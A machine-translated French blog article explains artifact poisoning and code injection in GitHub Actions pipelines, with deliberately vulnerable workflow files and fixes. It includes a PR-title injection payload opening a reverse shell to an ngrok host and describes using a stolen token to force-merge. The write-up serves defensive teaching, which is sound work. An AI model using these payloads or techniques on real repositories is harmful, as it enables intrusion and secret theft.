Dans les posts précédents (voir Empoisonné indirect Pipeline Exécution I-EPI et Empoisonné Pipeline EPI d'exécution , nous avons traité essentiellement des EPI (Poisoned Pipeline Exécution) : nous avons vu son fonctionnement, ses effets, certaines exploitations ainsi que quelques moyens de s'en protéger.
Cet article explore en profondeur d'autres CI/CD pipeline vulnérabilités telles que l’empoisonnement par artefacts et l’injection de code.
Pour ce faire, nous allons nous baser en quelque sorte sur les EPI, faisons donc un bref résumé de ce que nous avons vu à propos des EPI.
Travaux antérieurs sur les EPI
Pour résumer, nous avons commencé avec un GitHub basique pipeline pour créer et tester du code contribué via un pull request. En outre, il définit certaines vérifications qui, si elles sont respectées, fusionneront le code dans la branche principale. Nous avons nommé cela comme Scénario #1.
Dans notre article précédent, nous avons montré comment cette base pipeline a été élaboré vulnérable à la fois au D-PPE et à l’I-PPE.
Nous avons réussi à réparer le D-EPI by modification de l'événement déclencheur à partir de pull_request à pull_request_target, faire le pipeline sans danger pour le D-EPI. Pour rappel, pipelines déclenché sur un événement pull_request_target exécutera la base pipeline le code, pas le pipeline code contenu dans le pull request.
Nous avons nommé cela comme Scénario #2.
Grâce à cette modification, nous avons démontré que Le scénario n°2 était toujours vulnérable à l'I-PPE.
Pour y remédier, nous avons décidé diviser le pipeline Entre deux:
- Le 1st pipeline (Construire l'IC) aurait consultez le code PR (pour le construire), réalisez la construction et générez un artefact.
- Le 2nd pipeline (Tester l'IC) aurait extraire le code de base (pour éviter la modification du script shell) et exécutez les scripts originaux sur l'artefact.
- Pour synchroniser le CI de test pipeline à exécuter APRÈS le Build CI pipeline, nous utiliserons le workflow_run déclencheur.
Nous avons nommé cela comme Scénario #3.
Récupérons le code des deux pipelines selon ces modifications…
1 pipeline (Construire CI) :
name: Build CI
on:
pull_request_target:
branches: [ main ]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
prt_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checking out PR code
uses: actions/checkout@v4
if: ${{ github.event_name == 'pull_request_target' }}
with:
# This is to get the PR code instead of the repo code
ref: ${{ github.event.pull_request.head.sha }}
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
# Upload the binary as a pipeline artifact
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin
2nd pipeline (Test CI) :
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
deploy:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# By default, checks out base code (not PR code)
- name: Checkout repository
uses: actions/checkout@v4
# Download the artifact
- name: 'Download artifact'
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "archive-bin"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
#
# For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
#
- name: pr_check_conditions_to_merge
id: check_pr
run: |
echo "check_conditions_to_merge"
PR_ID=$(<PR_ID.txt)
PR_TITLE=$(<PR_TITLE.txt)
echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
echo "merge=false" >> $GITHUB_OUTPUT
- name: pr_merge_pr_false
if: steps.check_pr.outputs.merge == 'false'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions NOT MEET!!!"
- name: pr_merge_pr_true
if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions successfully MEET!!!"
echo "Merging .."
PR_ID=$(<PR_ID.txt)
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
-d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
Empoisonnement par des artefacts
D'après ci-dessus CI/CD pipelines:
- pipeline Construire l'IC is sécuritaire à la fois D-EPI (en raison de pull_request_target) et I-EPI (car il n'exécute plus le script shell).
- pipeline Tester l'IC est également sécuritaire à la fois D-EPI (en raison de workflow_run) et I-EPI (car il extrait le code de base pour obtenir le script shell d'origine)
Examinons en profondeur cette « solution ».
Pipeline Tester l'IC télécharge l'artefact sous forme de fichier zip.
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
Une fois décompressé, il exécute le script shell « sécurisé ». Pourquoi est-ce que je dis le script shell « sûr » ? Car dans une étape précédente, le pipeline extrait le code « de base », de sorte que le script original est placé dans le dossier de l'espace de travail. Par conséquent, lorsque le pipeline exécute le script shell qu'il exécutera en utilisant le binaire précédemment téléchargé.
Alors, quelle est la problème avec cette approche ? Le problème vient lorsqu'un utilisateur « crée » un nouveau pipeline.
Si un utilisateur ouvre un PR contenant un nouveau pipeline, GitHub exécutera cela pipeline (sous certaines conditions, comme nous l'avons vu dans le précédent ).
Compte tenu de cela, que se passe-t-il si l'utilisateur crée un nouveau pipeline avec le même nom que Build CI ? Oui, c'est surprenant, mais GitHub vous permet de créer deux pipelinec'est du même nom !!
N'oubliez pas que Test CI s'exécutera après Build CI…
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
Étonnamment, car il y a maintenant deux pipelines avec le même nom, le pipeline Le test CI s'exécutera deux fois: un après l'original pipeline et d'autres après le "nouveau" pipeline.
Comment le hacker peut-il en profiter ?
- Tout d’abord, l’utilisateur malveillant peut modifier le script shell pour envoyer le secret au serveur contrôlé par les pirates.
- Deuxièmement, le nouveau pipeline inclut une ligne pour copier le script shell modifié dans l'artefact → empoisonner l'artifact!!!
Lorsque l'utilisateur ouvre un PR avec ces modifications, le « nouveau » pipeline sera exécuté (téléchargement d'un artefact empoisonné) et le Deploy CI pipeline sera exécuté par la suite, ce qui entraînera le script shell « modifié » écrase le script shell « original » situé dans le pipeline espace de travail.
C'est ce qu'on appelle Empoisonnement par des artefactsc'est-à-dire le possibilité de modifier (pirater) le pipeline logique par la modification d'un pipeline artefact.
Un possible assainissement est assez simple : le simple fait de décompresser l'artefact dans un sous-dossier de l'espace de travail éviterait d'écraser le script shell « de base ».
Injection de code
Outre l’empoisonnement par artefacts, pouvez-vous voir une autre vulnérabilité dans le code ci-dessus ?
Allons-y!!
Comme vous pouvez le voir dans le code, pipeline Build CI construit le binaire, il télécharge le binaire en tant que pipeline artefact et, en outre, il télécharge quelques données supplémentaires : le titre PR et l'identifiant PR.
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Pourquoi? Car pour fusionner le PR, comme vous pouvez le voir ci-dessous, le Test CI pipeline a besoin de l'identifiant du PR pour appeler l'API REST GitHub qui fusionne le PR.
Comment fonctionne le test CI pipeline obtenir ce PR ID ? Partage d'informations dans des fichiers texte (partie d'un pipeline artefact) est un moyen courant de partager des informations entre pipelines. Et c'est exactement ce que ces pipelines font.
echo "Merging .."
PR_ID=$(<PR_ID.txt)
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
-d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
À proprement parler, seul l'ID PR est nécessaire pour fusionner le PR, mais le pipeline L'administrateur a décidé que Build CI incluait également le titre PR afin que Test CI pipeline imprimerait un message d'information contenant à la fois l'identifiant PR et le titre.
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
name: Test CI
[...]
PR_ID=$(<PR_ID.txt)
PR_TITLE=$(<PR_TITLE.txt)
echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
Le titre PR est toujours une donnée provenant de l'utilisateur et, en tant que tel, doit toujours être considéré comme non fiable.. Alors le pipeline doit agir comme tel et prendre des mesures de protection.
Dans le code ci-dessus, nous pouvons voir le message spécifique faisant écho au titre PR. C'est juste une commande Linux « echo ».
Par interpolation de chaîne, si le titre est « un titre factice », Github génère en interne un script contenant
echo ""a dummy title""
Mais que se passerait-il si le titre des relations publiques ressemblait à quelque chose comme :
Titre malveillant » && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "Le script deviendrait :
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""
Cela entraîne l’ouverture d’un shell inversé contre le serveur contrôlé par les pirates.
Ce shell inversé pourrait être utilisé pour accéder au pipeline secrets (rappelez-vous que Test CI s'exécute en mode privilège car il est déclenché par workflow_run afin qu'il ait accès aux secrets).
Mais que peut-on faire d’autre grâce à ce shell inversé ?
Regardez le code du test CI :
env:
GITHUB_PAT: ${{ secrets.GH_PAT }}
[...]
echo "Merging .."
PR_ID=$(<PR_ID.txt)
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
-d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
Comme vous pouvez le voir dans le Test CI pipeline, la commande curl merge utilise GITHUB_PAT (défini comme un pipeline env var), donc le runner contient le GITHUB_PAT comme variable d'environnement. De plus, il crée également une variable d'environnement lisant le PR ID.
Le pirate informatique a donc simplement besoin de copier la commande curl et de la coller dans le shell inversé, en fusionnant le PR directement dans la branche protégée.
Pour protéger de tout cela :
- À éviter interpolation de chaîne avec des données non fiables (vulnérable à injection de code) par définir pipeline variables d'environnement au lieu de l'utiliser directement dans les commandes echo
Au lieu d'utiliser:
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Utilisez ceci:
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "$PR_TITLE" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
env:
PR_TITLE: ${{github.event.pull_request.title}}
- Même avec un exploit par injection de code, la commande curl merge n'aurait pas réussi si vous aviez correctement protégé votre pull requests par le biais d’un examen ou d’une approbation obligatoire.
Conclusions
C'est en quelque sorte difficile à protéger CI/CD pipelines configuration et obtenir pipelineest exempt de vulnérabilités.
Cela ne signifie pas que CI/CD les systèmes (comme GitHub dans ce cas) sont vulnérables en soi. CI/CD les systèmes fournissent les moyens de se protéger contre les vulnérabilités… mais il est de la responsabilité de l’administrateur de mettre en œuvre ces protections.
Mais… Vous ne pouvez pas résoudre une vulnérabilité sans être conscient de son existence !!!
Bien sûr, un administrateur DevOps hautement qualifié peut avoir toutes ces menaces à l'esprit et protéger correctement le CI/CD pipelines, mais malgré tout, il est très utile d'utiliser un produit capable de détecter tous ces types de vulnérabilités. Et bien sûr, d'automatiser ce processus de rétention des vulnérabilités (par exemple, en exécutant l'analyse dans le cadre de CI/CD pipelines).
Cette approche pourrait être appelée «Porte de sécurité":
- Créer un nouveau pipeline (Porte de sécurité) à vérifier CI/CD pipelines vulnérabilités et rendre les autres CI pipelines à exécuter uniquement après la réussite de la porte de sécurité pipeline.
- La barrière de sécurité pipelines vérifiera CI/CD pipelines vulnérabilités et,
- Si des vulnérabilités sont découvertes, il échouera et, par conséquent, les autres pipelines ne sera pas exécuté.
- Si aucune vulnérabilité n'est trouvée, le pipeline réussira et l'autre pipelines s'exécutera comme d'habitude.





